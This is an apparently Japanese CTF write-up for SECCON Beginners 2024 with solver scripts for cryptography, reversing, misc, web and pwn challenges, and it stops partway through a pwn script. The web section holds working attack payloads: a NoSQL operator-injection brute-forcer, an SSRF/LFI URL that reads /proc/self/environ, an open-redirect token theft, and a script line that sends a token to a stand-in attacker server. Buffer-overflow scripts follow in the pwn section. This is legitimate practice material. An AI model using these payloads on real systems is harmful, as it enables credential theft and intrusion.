SECCON Beginners CTF 2024 Writeup

[SECCON Beginners CTF 2024](https://score.beginners.seccon.jp/) に参加しました．

962 チーム中 6 位だったので，一人にしてはかなり頑張っていると思います．
![score.beginners.seccon.jp_certificate.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330450/9fce7554-3a5d-9032-7d60-836272ff7452.png)

ただ，Crypto は全完できたけど理解できていない問題があったり，Web の難しい問題は全然わからなかったり，課題がかなりある気がします．
ペアリング，グレブナー基底，ブロックチェーン，カーネルエクスプロイトは前々から勉強しなあかんなと思っていたけど避けてきたので，これを機に勉強します．多分．

# Crypto
## Safe Prime
```
author:ptr-yudai
beginner

Using a safe prime makes RSA secure, doesn't it?

Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a
```
$n = p \cdot (2 p + 1)$ で構成されている．

$n$ が $p$ のみで決まるので，二分探索する．

```py
from Crypto.Util.number import *

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

def f(p):
    return 2 * p +1

def search(n):
    lb = 0
    ub = 2**1024
    while lb != ub:
        p = (lb + ub) // 2
        if p * f(p) < n:
            lb = p
        else:
            ub = p - 1
        print(lb, ub)
    return p

p = search(n)
q = f(p)

print(p)
print(q)

assert p * q == n

phi = (p-1) * (q-1)
d = inverse(e, phi)

m = long_to_bytes(pow(c, d, n))
print(m)
```

## math
```
author:task4233
easy
RSA暗号に用いられる変数に特徴的な条件があるようですね...?

math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc
```
$p, q$ は素数で，$a = p - x,\; b = q -x$ とすると，$x, a, b$ は平方数となっている．
通常の RSA のパラメータに加えて $a \cdot b$ が与えられている．
また，$a$ は $A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169$ で割り切れて，$b$ は $B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661$ で割り切れることがわかっている．

$A, B$ はともに素数なので，$a = a'^2 = (k A)^2,\quad b = b'^2 = (l B)^2$ と表すことができて，$ab = k^2 l^2 A^2 B^2$ となる．
$ab / (A^2 B^2) = 1002777341573073149099549678043369$ を素因数分解すると $3^2 \cdot 173^2 \cdot 199^2 \cdot 306606827773^2$ となる．

$a \cdot b = (p - x) \cdot (q - x) = n - (p + q) x + x^2$
$\therefore x^2 + (a + b) x + (ab - n) = 0$
$k, l$ の組み合わせの数が少ないので，総当りして平方数となるような $x$ を探す．

```py
from Crypto.Util.number import *
import gmpy2

def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

A = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
B = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661

factors = [3, 173, 199, 306606827773]
for bits in range(1<<4):
    k = 1
    l = 1
    for i in range(len(factors)):
        if (bits >> i) & 1 == 0:
            k *= factors[i]
        else:
            l *= factors[i]
    a = (k**2) * (A**2)
    b = (l**2) * (B**2)

    sq = (a - b)**2 + 4 * n
    if is_square(sq):
        x = (- (a + b) + int(gmpy2.isqrt(sq))) // 2
        assert x**2 + (a + b) * x + (ab - n) == 0
        assert is_square(x)
        break

p = int(a + x)
q = int(b + x)
assert n == p * q

phi = (p-1) * (q-1)
d = inverse(e, phi)
print(long_to_bytes(pow(cipher, d, n)))
```

## ARES
```
author:ptr-yudai
medium
ARES stands for Advanced RSA Encryption Standard.

nc ares.beginners.seccon.games 5000

ARES.tar.gz 91ee14acf67ffcb55f41f589a2a0c444241d9bf0
```
```ARES``` は RSA で暗号化してから AES の CBC モードで暗号化していて，任意の平文，暗号文を投げるとそれぞれ暗号化，復号化してくれる．

$m^e = \text{AES\_Dec}(\text{ct})$ となるような $\text{ct}$ がほしい．

今回は CBC モードが使われているので，$\text{ct}$ の後ろのブロックから順に決定していくことで所望の $\text{ct}$ が得られる．

$m^e$ のブロックを $M_0, M_1, \dots, M_7$，$\text{ct}$ のブロックを $C_0, C_1, \dots, C_7$ とする．

$IV = 0, C_7 = 0$ として
$c_7' = \text{RSA\_Dec}(C_7') = \text{AES\_Dec}(\text{AES\_Dec}(IV + C_7))$
を求める．
ここで $c_7' = \text{int}(C_7')^d \mod{n}$ なので
$\text{int}(C_7') = c_{7}'^e \mod{n}$
とすると $C_7'$ が求まる．
$C_6 = M_7 \oplus C_7'$ とする．

次に，$IV = 0$ として
$c_6' = \text{RSA\_Dec}(C_6') = \text{AES\_Dec}(\text{AES\_Dec}(IV + C_6))$
を求める．
同様に $c_6' = \text{int}(C_6')^d \mod{n}$ なので
$\text{int}(C_6') = c_{6}'^e \mod{n}$
とすると $C_6'$ が求まる．
$C_5 = M_6 \oplus C_6'$ とする．

これを繰り返すことで $\text{ct}$ が求められる．

ただし $n$ が与えられていないので，求める必要がある．
サーバに平文を送るときは整数であれば負の値でも良いので $-1$ を投げて，それを復号すると $n - 1$ が得られる．

```py
from pwn import *
from Crypto.Util.number import long_to_bytes

N_BITS = 1024
e = 65537

def sovlve():
    io = remote('ares.beginners.seccon.games', 5000)
    enc_flag = int(io.recvline().decode().split()[-1], 16)
    enc_flag_bytes = int.to_bytes(enc_flag, N_BITS//8, 'big')

    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'm: ', str(-1).encode())
    c = io.recvline().decode().split()[-1]

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'c: ', c.encode())
    n_1 = int(io.recvline().decode().split()[-1])
    n = n_1 + 1

    ct = b'\x00' * 16
    for i in range(len(enc_flag_bytes) // 16):
        if i == 0:
            ct_block = ct
            enc_flag_block = enc_flag_bytes[-16:]
        else:
            ct_block = ct[-16 * (i + 1) : -16 * i]
            enc_flag_block = enc_flag_bytes[-16 * (i + 1) : -16 * i]

        io.sendlineafter(b'> ', b'2')
        io.sendlineafter(b'c: ', (b'\x00' * 16 + ct_block).hex().encode())
        buf = int(io.recvline().decode().split()[-1])
        buf = pow(buf, e, n)
        buf = buf.to_bytes(16, 'big')
        ct = bxor(buf, enc_flag_block) + ct

    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'c: ', ct.hex().encode())
    flag = int(io.recvline().decode().split()[-1])

    print(long_to_bytes(flag))

def bxor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])

if __name__ == '__main__':
    sovlve()
```

## bless
```
author:ptr-yudai,kanon
hard
ECDLP on two different curves...?

bless.tar.gz 484c9761181d1929b2126a18ea6e231deec3cbfb
```
あまり理解できていないですが．この辺を見て解きました．
* [ペアリングでCTFの問題を解く](https://project-euphoria.dev/blog/36-pairing/)
* [BLS12-381 For The Rest Of Us](https://qiita.com/tnakagawa/items/5c73763e420dc9baddf2#%E4%BD%99%E5%9B%A0%E5%AD%90cofactor)
* [BLS署名の基本](https://zenn.dev/herumi/articles/bls-signature)
* [ペアリングと内積計算可能なL2準同型暗号](https://zenn.dev/herumi/articles/pairing-l2he)

BLS12-381 を調べているとペアリングがどうのこうのって話が出てくる．

$e(a G_1, G_2) = e(G_1, a G_2) = e(G_1, G_2)^a$ が成り立つらしい．

ただし，$G_1, G_2$ の位数が同じじゃないと行けないらしいが，この問題では $G_2$ を適当にとってきている．
```h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5``` を $G_2$ とかにかければいける．

よって，$e(sG_1, h_2 \cdot tG_2)^c = e(G_1, h_2 \cdot cstG_2)$ が成り立つような $c \quad (0 \le c < 256)$ を探せば良い．

```py
import json

q = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab
r = 0x73eda753299d7d483339d80809a1d80553bda402fffe5bfeffffffff00000001

F = GF(q, x, x)
F2.<i> = GF(q^2, "i", x^2 + 1)
F12.<w> = GF(q**12, "w", x**12 - 2*x**6 + 2)

i12 = w**6 - 1
z = w^-1

E1 = EllipticCurve(F, [0, 4])
E2 = EllipticCurve(F2, [0, 4*(1+i)])
E12 = EllipticCurve(F12, [0, 4])

h2 = 0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5

def F2_to_F12(coeffs):
    assert len(coeffs) == 2
    c = coeffs[0]
    d = coeffs[1]
    x = c + d*i12

    return x


def sextic_twist(Px, Py):
    x = F2_to_F12(Px)
    y = F2_to_F12(Py)

    return E12(z^2*x, z^3*y)

G1 = E12(0x17F1D3A73197D7942695638C4FA9AC0FC3688C4F9774B905A14E3A3F171BAC586C55E83FF97A1AEFFB3AF00ADB22C6BB, 0x08B3F481E3AAA0F1A09E30ED741D8AE4FCF5E095D5D00AF600DB18CB2C04B3EDD03CC744A2888AE40CAA232946C5E7E1)

with open('./bless/output.json') as f:
    json_datas = json.load(f)

flag = []
for json_data in json_datas:
    sG1_x = json_data['P']['x']
    sG1_y = json_data['P']['y']
    sG1 = E12(sG1_x, sG1_y)

    tG2_x = json_data['Q']['x']
    tG2_y = json_data['Q']['y']
    tG2 = sextic_twist(tG2_x, tG2_y)

    cstG2_x = json_data['R']['x']
    cstG2_y = json_data['R']['y']
    cstG2 = sextic_twist(cstG2_x, cstG2_y)

    e_P1 = sG1.weil_pairing(h2 * tG2, r)
    e_P2 = G1.weil_pairing(h2 * cstG2, r)

    for c in range(256):
        if e_P1^c == e_P2:
            flag.append(c)
            print(c)
            break
    else:
        print('ERROR')
        exit()

print(bytes(flag))
```

## Try hard in my style
```
author:kanon
hard
ok ok, its Franklin-Reiter's Rel... wait??

nc try-hard-in-my-style.beginners.seccon.games 5000

Try_hard_in_my_style.tar.gz 2b8b13a7cd4a25e9ef48e18bc6dbed83c74cf894
```
RSA で暗号化されている値は以下のようになっている．
$c_1 = (m + s)^e \mod{n}$
$c_2 = (m + s t_1)^e \mod{n}$
$c_3 = (m t_2 + s)^e \mod{n}$
($s$ は未知なランダムな値)

変数を減らしたいのでグレブナー基底を使う (あんまり理解できていないので [Writeup: ASIS CTF 2021 - madras](https://project-euphoria.dev/blog/24-asis-2021/#madras) を参考にしました)．

$y$ を $m$，$x$ を $s$ としてグレブナー基底を求めると
$y^e + A$ ($A$ は定数)
が得られる．

$n - A$ とすると，これが $m^e$ なので，サーバに $e$ 回接続して異なる $n$ に対する $m^e$ を得て Hastad's Broadcast Attack を使う．

```py
from pwn import *
from Crypto.Util.number import long_to_bytes

e = 17

def get_value():
    io = remote('try-hard-in-my-style.beginners.seccon.games', '5000')

    e = int(io.recvline().decode().split('=')[-1])
    n = int(io.recvline().decode().split('=')[-1])
    t1 = int(io.recvline().decode().split('=')[-1])
    t2 = int(io.recvline().decode().split('=')[-1])
    c1 = int(io.recvline().decode().split('=')[-1])
    c2 = int(io.recvline().decode().split('=')[-1])
    c3 = int(io.recvline().decode().split('=')[-1])

    print(f"{e = }")
    print(f"{n = }")
    print(f"{t1 = }")
    print(f"{t2 = }")
    print(f"{c1 = }")
    print(f"{c2 = }")
    print(f"{c3 = }")

    PR.<x,y> = PolynomialRing(Zmod(n))
    f = (x + y)^e - c1
    g = (t1 * x + y)^e - c2
    h = (x + t2 * y)^e - c3

    polys = [f, h, g]
    I = Ideal(polys)
    basis = I.groebner_basis()
    print(basis[0])
    return int(n), int(n-list(basis[0])[1][0])

if __name__ == '__main__':
    cs = []
    ns = []
    for _ in range(e):
        n, c = get_value()
        cs.append(c)
        ns.append(n)

    me = int(crt(cs, ns))
    m = int(me^(1/e))
    print(long_to_bytes(m))
```

# Reversing
## assemble
```
author:hi120ki
beginner
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

https://assemble.beginners.seccon.games

assemble.tar.gz dc12b54445e8b38e25949646ed960304b19d118d
```
アセンブリを書いていく問題．
命令は mov, push, syscall のみ使える．

### Challenge 1
Please write 0x123 to RAX!
```asm
mov rax, 0x123
```

### Challenge 2
Please write 0x123 to RAX and push it on stack!
```asm
mov rax, 0x123
push rax
```

### Challenge 3
Please use syscall to print Hello on stdout!
```asm
mov rcx, 478560413000
push rcx

mov rdx, 5
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
```

### Challenge 4
Please read flag.txt file and print it to stdout!
```asm
push 0
mov rcx, 8392585648256674918
push rcx
mov rdx, 0
mov rsi, 0
mov rdi, rsp
mov rax, 2
syscall

mov rdx, 0x100
mov rsi, rsp
mov rdi, rax
mov rax, 0
syscall

mov rdx, 0x34
mov rsi, rsp
mov rdi, 1
mov rax, 1
syscall
```

## cha-ll-enge
```
author:hi120ki
easy
見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

cha-ll-enge.tar.gz 0356d82e580af031d889a46a750dd3a6b96a74ce
```
全然わからなかったので，ChatGPT に聞くと LLVM であることがわかる．

そのまま GPT-4o に
```
以下の LLVM の細かい動作を知りたいので，同じ処理をする C 言語のプログラムを書いてください．
```
て聞くと以下のコードを吐いてくれた
```c
#include <stdio.h>
#include <string.h>

const int key[50] = {119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 
                    125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 
                    56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 
                    8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 
                    39, 66, 44, 27, 122, 77, 36, 20, 122, 7};

int main() {
    char input[70];
    int temp1[50];
    int correct_count = 0;
    int result = 0;
    long i = 0;

    printf("Input FLAG : ");
    scanf("%s", input);

    // Check if the length of input is 49
    if (strlen(input) != 49) {
        puts("Incorrect FLAG.");
        return 1;
    }

    // Process each character of the input
    while (i < 49) {
        int c = (int)input[i];
        int k1 = key[i];
        int xor1 = c ^ k1;
        int k2 = key[i + 1];
        int xor2 = xor1 ^ k2;
        
        // Check if the result of the XOR operations is zero
        if (xor2 == 0) {
            correct_count++;
        }
        
        i++;
    }

    // Check if the count of correct XOR results is 49
    if (correct_count == 49) {
        printf("Correct! FLAG is %s.\n", input);
        return 0;
    } else {
        puts("Incorrect FLAG.");
        return 1;
    }
}
```

```py
lst = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

for i in range(len(lst) - 1):
    print(chr(lst[i] ^ lst[i + 1]), end='')
print()
```

## onstruct
```
author:Arata
medium
使っていない関数がたくさんある……？

construct.tar.gz 2a78b30c7cbc7e4492e20f18463341c2028c2bee
```
Ghidra でデコンパイルしたけど，関数を呼び出している順番がわからなかった．

ltrace を繰り返し使えば調べられる．

```
└─< ltrace ./construct c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
strlen("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...)                                                                                                     = 32
strncmp("c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"..., "c0_d4yk261hbosje893w5igzfrvaumql"..., 2)                                                          = 0
strncmp("ns7ruc70rs_3as3_h1d1ng_7h1ngs!", "nske1cgaiylz0mwfv7p9r32h6qj8bt4d"..., 2)                                                               = 0
strncmp("7ruc70rs_3as3_h1d1ng_7h1ngs!", "7rvb9qh5_1ops6jg3ykf8x0emtcind24"..., 2)                                                                 = 0
strncmp("uc70rs_3as3_h1d1ng_7h1ngs!", "uchnkyi6wb2ld507p8g3stfej1rzqmo", 2)                                                                       = 0
strncmp("70rs_3as3_h1d1ng_7h1ngs!", "701zvbdfp4ioqc2hy_juegkmatls3", 2)                                                                           = 0
strncmp("rs_3as3_h1d1ng_7h1ngs!", "rsl841qo6_0dwg529zanmbpvxe7", 2)                                                                               = 0
strncmp("_3as3_h1d1ng_7h1ngs!", "_3erat9f6mx854pyol7zkvdwn", 2)                                                                                   = 0
strncmp("as3_h1d1ng_7h1ngs!", "astioc294n0lxu38fdk_ypm", 2)                                                                                       = 0
strncmp("3_h1d1ng_7h1ngs!", "3_8wk7li6uqfmhe50bdsx", 2)                                                                                           = 0
strncmp("h1d1ng_7h1ngs!", "h14ktywpzma2l7nr685", 2)                                                                                               = 0
strncmp("d1ng_7h1ngs!", "d18egbnyw6rm_tqjh", 2)                                                                                                   = 0
strncmp("ng_7h1ngs!", "ng3mwpzduqth_7o", 2)                                                                                                       = 0
strncmp("_7h1ngs!", "_74sz2gkvaxch", 2)                                                                                                           = 0
strncmp("h1ngs!", "h1lxgum48es", 2)                                                                                                               = 0
strncmp("ngs!", "ngduzx_ai", 2)                                                                                                                   = 0
strncmp("s!", "s!om347a", 2)                                                                                                                      = 0
puts("CONGRATULATIONS!"CONGRATULATIONS!
)                                                                                                                          = 17
printf("The flag is ctf4b{%s}\n", "c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!"...The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
)                                                                          = 52
_exit(0 <no return ...>
+++ exited (status 0) +++
```

## former-seccomp
```
author:Arata
hard
フラグチェック用のシステムコールを自作してみました

former-seccomp.tar.gz e84744722afde5756640fccb12afd01654f77c25
```
Ghidra でデコンパイルすると RC4 の関数が見つかる．

そこを呼び出している部分を見ると入力した値と比較している処理が見つかる．
```c
undefined8 check_flag(char *flag)
{
    size_t flag_len;
    undefined8 uVar1;
    size_t key_len;
    long ct;
    ulong i;
    long i_;
    
    flag_len = strlen(flag);
    if (flag_len == 0x1a) {
        for (i = 0; key_len = strlen(&key), i < key_len; i = i + 1) {
            (&key)[i] = (char)i + 0x20U ^ (&key)[i];
        }
        ct = rc4(&enc_data,&key);
        for (i_ = 0; (flag[i_] != '\0' && (*(char *)(i_ + ct) != '\0')); i_ = i_ + 1) {
            if (flag[i_] != *(char *)(i_ + ct)) {
                return 0;
            }
        }
        uVar1 = 1;
    }
    else {
        uVar1 = 0;
    }
    return uVar1;
}
```

```py
def KSA(key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    return S

def RPGA(S):
    S = S[:]
    i = 0
    j = 0
    while True:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        key = S[(S[i] + S[j]) % 256]
        yield key

def RC4(plaintext, key):
    S = KSA(key)
    return bytes([x ^ y for x, y in zip(plaintext, RPGA(S))])

with open('./former-seccomp/former-seccomp', 'rb') as f:
    data = f.read()

enc_data = data[0x3010 : 0x3010 + 0x1a]
key = data[0x3030 : 0x3030 + 10]

key = list(key)
for i in range(len(key)):
    key[i] = i + 0x20 ^ key[i]
key = bytes(key)

flag = RC4(enc_data, key)
print(f'ctf4b{{{flag.decode()}}}')
```

# Misc
## getRank
```
author:xryuseix
easy

https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
```

```10 ** 255``` よりも大きな値を入れたいが，以下のようにいくつか制限がある．
```js
function chall(input: string): Res {
    if (input.length > 300) {
        return {
            rank: -1,
            message: "Input too long",
        };
    }

    let score = parseInt(input);
    if (isNaN(score)) {
        return {
            rank: -1,
            message: "Invalid score",
        };
    }
    if (score > 10 ** 255) {
        // hmm...your score is too big?
        // you need a handicap!
        for (let i = 0; i < 100; i++) {
            score = Math.floor(score / 10);
        }
    }
    return ranking(score);
}
```

普通に入力してもだめなので，文字列として入力できる最大長で，16 進数表記で最大の値を入れてみると ```Infinity``` となることがわかる．
```js
score = parseInt('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff')
// >>> Infinity
```

```Infinity``` は
```js
score = Math.floor(score / 10);
```
の処理をしても ```Infinity``` のままになる．

## clamre
```
author:n01e0
easy

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c
```

```flag.ldv``` の中に正規表現がある．
```
/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
```

```\x63\x74\x66``` とかはそのまま ASCII で変換する．
```4``` とかはそのまま ```4``` になる．
```()``` でくくられているのはグループになっていて，```\7``` とかは 7 番目のグループを指す (ただし，先頭の ```(\x63\x74\x66)``` が 2 番目)．

```py
flag = b''

flag += b'\x63\x74\x66' ## 2
flag += b'4' ## 3
flag += b'\x62' ## 4
flag += b'{B' ## 5
flag += b'\x72' ## 6
flag += b'\x33' ## 7

flag += b'4'

flag += b'\x6b1' ## 8
flag += b'\x6e\x67' ## 9
flag += b'\x5f' ## 10

flag += b'4'

flag += b'\x6c' ## 11

flag += b'\x6c'
flag += b'\x5f'

flag += b'\x54\x68' ## 12

flag += b'\x33'
flag += b'\x5f'

flag += b'\x480' ## 13
flag += b'\x75' ## 14
flag += b'5' ## 15

flag += b'\x33'
flag += b'\x5f'

flag += b'\x52' ## 16

flag += b'\x75'
flag += b'\x6c'
flag += b'\x33'

flag += b'5' ## 17
flag += b'}'

print(flag.decode())
```

# Web
## wooorker
```
author:yuasa
beginner

adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52
```
```next``` に URL を指定するとログイン後に ```token``` をリクエストパラメータに設定して，そこに飛んでくれる．
```js
window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
```

```login?next=https://my.server.com``` を bot に提出する．

```
└─< curl https://wooorker.beginners.seccon.games/flag -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0MjY2LCJleHAiOjE3MTg0Njc4NjZ9.RDtWtqcoMSSX8AwMbj9ylD7N27VklOnUg4Bzl4Unmbw" 
{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}
```

## ssrforlfi
```
author:Satoki
easy

SSRF？ LFI？ ひょっとしてRCE？

https://ssrforlfi.beginners.seccon.games

ssrforlfi.tar.gz 52c79695ec23cafb85105bc0dae8e4e3eef2ae1f
```
以下のように色々対策されている
```py
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("
```

通常のファイルパスとしては存在しないが，URL としては有効なものを指定すると，file スキーマの対策をバイパスできる．

完全修飾絶対 URI のフォーマットは以下のようになっているので，スキーマとパスの間にホスト名が入れられる
```
scheme: | // | user:password@ | host | :port | /path | ?query | #fragment
```

```https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ``` とすると，以下のように環境変数が取得できる．
```
UWSGI_ORIGINAL_PROC_NAME=uwsgiHOSTNAME=a84e51bef68dHOME=/home/ssrforlfiPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8DEBIAN_FRONTEND=noninteractivePWD=/var/wwwTZ=Asia/TokyoUWSGI_RELOADS=0FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
```

## double-leaks
```
author:task4233
medium

Can you leak both username and password? :eyes: https://double-leaks.beginners.seccon.games

double-leaks.tar.gz 0b2caf8009ad63d20dbc672e9213a85a09ce0fed
```
MongoDB で SQLi みたいなことをする．

以下のようにパラメータを JSON で受け取っているので，文字列以外も投げられる．
```py
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password_hash = request.json["password_hash"]
    if waf(password_hash):
        return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400

    try:
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )

    except Exception:
        traceback.print_exc(file=sys.stderr)
        return jsonify({"message": "Internal Server Error"}), 500
    finally:
        client.close()
```

[MongoDBのcollection基本操作をpythonで（pymongo）](https://dlrecord.hatenablog.com/entry/2020/11/17/204041) を見ると ```$lt``` とか ```$ne``` が使えることがわかる．

```py
import requests
import json
from string import printable

URL = 'https://double-leaks.beginners.seccon.games/login'

def search_username():
    username = ''
    while True:
        for c in printable:
            if c in '.*\\+?|^$':
                c = '\\' + c
            data = {
                'username': {
                    '$regex': f'^{username + c}.*'
                },
                'password_hash':{
                    '$ne': 0
                }
            }
            res = requests.post(URL, json=data)
            res = json.loads(res.text)
            if res['message'] == 'DO NOT CHEATING':
                username += c
                print(username)
                break
        else:
            break
    print(f'{username = }')
    return username

def search_passwdhash(username):
    lb = 0
    ub = 1 << 256

    while lb != ub:
        mid = (lb + ub) // 2
        data = {
            'username': username,
            'password_hash':{
                '$lte': f'{mid:032x}'
            }
        }
        res = requests.post(URL, json=data)
        res = json.loads(res.text)
        if res['message'] == 'DO NOT CHEATING':
            ub = mid
        else:
            lb = mid + 1
    
    print(f'passwdhash = {lb:032x}')
    return f'{lb:032x}'

if __name__ == '__main__':
    username = search_username()
    search_passwdhash(username)
```


## wooorker2
```
author:yuasa
medium

トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!

https://wooorker2.beginners.seccon.games

脆弱性報告bot

wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567
```
wooorker とは違い，フラグメント識別子に token が与えられるのでリクエストには含まれない．
```js
window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
```

最初に ```next``` で訪れるサイトに JavaScript のコードを配置することで token を送信させることを考える．

```attacker.server.1``` に以下を配置する (```;``` を含むと失敗するっぽい)．
```html
<script>window.location.href = `https://attacker.server.2?t=${location.hash.split('=')[1]}`</script>
```

以下を提出すると，```attacker.server.2``` に token が届く
```
login?next=https://attacker.server.1
```

# Pwnable
## simpleoverflow
```
author:n01e0
beginner

Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
```

```buf``` が BOF できて，その直後に ```is_admin``` があるので，適当に入れればいける．
```py
from pwn import *

io = remote('simpleoverflow.beginners.seccon.games', 9000)

io.sendlineafter(b'name:', b'\xff' * 11)
io.interactive()
```

## simpleoverwrite
```
author:n01e0
easy

スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 258a74ec5be217dd8cdf46c428866e52315e4312
```

セキュリティ機構
```
└─< checksec --file=./simpleoverwrite/chall 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   44) Symbols       No    0               3               ./simpleoverwrite/chall
```

BOF ができて canary も無いので，リターンアドレスを ```win``` に書き換える．

```py
from pwn import *

io = remote('simpleoverwrite.beginners.seccon.games', 9001)
